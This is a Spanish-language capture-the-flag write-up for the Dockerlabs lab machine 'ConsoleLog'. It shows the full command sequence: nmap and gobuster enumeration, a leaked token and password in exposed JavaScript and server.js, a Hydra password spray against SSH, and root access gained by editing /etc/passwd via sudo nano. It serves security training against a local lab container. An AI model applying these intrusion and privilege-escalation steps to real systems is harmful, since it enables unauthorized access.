22. Máquina: ConsoleLog(Fácil)

- *1. Descubrimiento de puertos y servicios con Nmap:*
  - Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
    - *Comando*: `nmap -sVC 172.17.0.2 -Pn`
    - *Resultado*: Se encontró los servicios HTTP en los puertos 80 y 3000 (error) y SSH en el puerto 5000 abiertos.
- *2. Navegación servicio HTTP:*
  - En el código fuente de la página principal se observa un botón de prueba. Si inspeccionamos el código y vamos al script javascript utilizado para la lógica del botón se encuentra un console.log con información útil: `console.log("Para opciones de depuracion, el token de /recurso/ es tokentraviesito");`
- *3. Búsqueda de directorios activos con Gobuster:*
  - Usamos *Gobuster* para encontrar directorios activos en el servicio HTTP.
    - *Comando*: `gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html`
    - *Resultado*: Se encontró algún directorio interesante como el */backend* y */javascript*, pero en este no tenemos permisos para inspeccionarlo.

```
/.html                (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 234]
/backend              (Status: 301) [Size: 310] [--> http://172.17.0.2/backend/]
/javascript           (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
/.html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 882240 / 882244 (100.00%)
```

- *4. Insepcción directorio /backend:*
  - En el directorio */backend* podemos ver todos los archivos detrás del servicio ejecutado. Inspeccionándolo, podemos encontrar que en el file *server.js*, aparece la verificación del token mencionado anteriormente seguido de una respuesta con el contenido de la contraseña: *lapassworddebackupmaschingonadetodas*, así que teniendo estas credenciales las probaremos contra el servicio ssh.
- *5. Ataque de fuerza bruta con Hydra:*
  - Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta *Hydra* utilizando la contraseña encontrada en el file *server.js* del directorio /backend del servicio HTTP y como usuarios la wordlist del *rockyou.txt*.
    - *Comandos*: `hydra -L /usr/share/wordlists/rockyou.txt -p lapassworddebackupmaschingonadetodas ssh://172.17.0.2:5000 -I`
    - *Resultado*: Hemos encontrado el usuario válido *lovely* para la contraseña *lapassworddebackupmaschingonadetodas*.

```
┌──(root💀kali)-[/home/kali/Desktop/Maquinas Dockerlabs Facil]
└─# hydra -L /usr/share/wordlists/rockyou.txt -p lapassworddebackupmaschingonadetodas  ssh://172.17.0.2:5000 -I
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizat
this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-11 14:14:40
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:14344398/p:1), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:5000/
[5000][ssh] host: 172.17.0.2   login: lovely   password: lapassworddebackupmaschingonadetodas
```

- *6. Verificación permisos lovely*:
  - Una vez dentro del usuario *lovely* en la máquina víctima con las credenciales encontradas, vamos a verificar que permisos tiene este usuario sobre la máquina víctima.
    - *Comando*: `ssh lovely@172.17.0.2 -p 5000` `sudo -l`
    - *Resultado*: Lovely tiene máximos privilegios en la utilización del binario `nano`, útil para modificar el contenido de cualquier archivo del sistema.

- *7. Edición archvio /etc/passwd:*
  - Teniendo máximos privilegios en la ejecución del binario nano, podemos editar el file */etc/passwd*, muy útil ya que editando la entrada de la autenticación para ser root (eliminando la `x` en la entrada de los usuarios) ya podemos escalar privilegios obteniendo los máximos del sistema, es decir cambiar de usuario sin necesidad de autenticación en estos.
    - *Comando*: `sudo nano /etc/passwd`
    - *Resultado*: Edición el archivo *passwd* con privilegios máximos, evitando así la autenticación al cambiar de usuario.

```
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
```

```
tester::1000:1000::/home/tester:/bin/bash
lovely::1001:1001:lovely,,,:/home/lovely:/bin/bash
```

- *8. Escalada a máximos privilegios*:
  - Una vez editado el file *passwd* y guardado eliminando la `x` en las entradas de los usuarios para evitar la autenticación al loggearnos, podemos utilizar este cambio para loggearnos como usuarios *root*.
    - *Comando*: `su root`
    - *Resultado*: Una vez ejecutado, ya somos root con privilegios máximos sin necesidad de contraseña gracias a poder editar el file /etc/passwd. Fin de la intrusión con máximos privilegios!

```
lovely@be6b0561cf44:/home$ su tester
tester@be6b0561cf44:/home$ su root
root@be6b0561cf44:/home# cd /root
root@be6b0561cf44:~# whoami
root
root@be6b0561cf44:~# ls -a
.  ..  .bash_history  .bashrc  .local  .npm  .profile  .ssh
root@be6b0561cf44:~# xDaliK
bash: xDaliK: command not found
```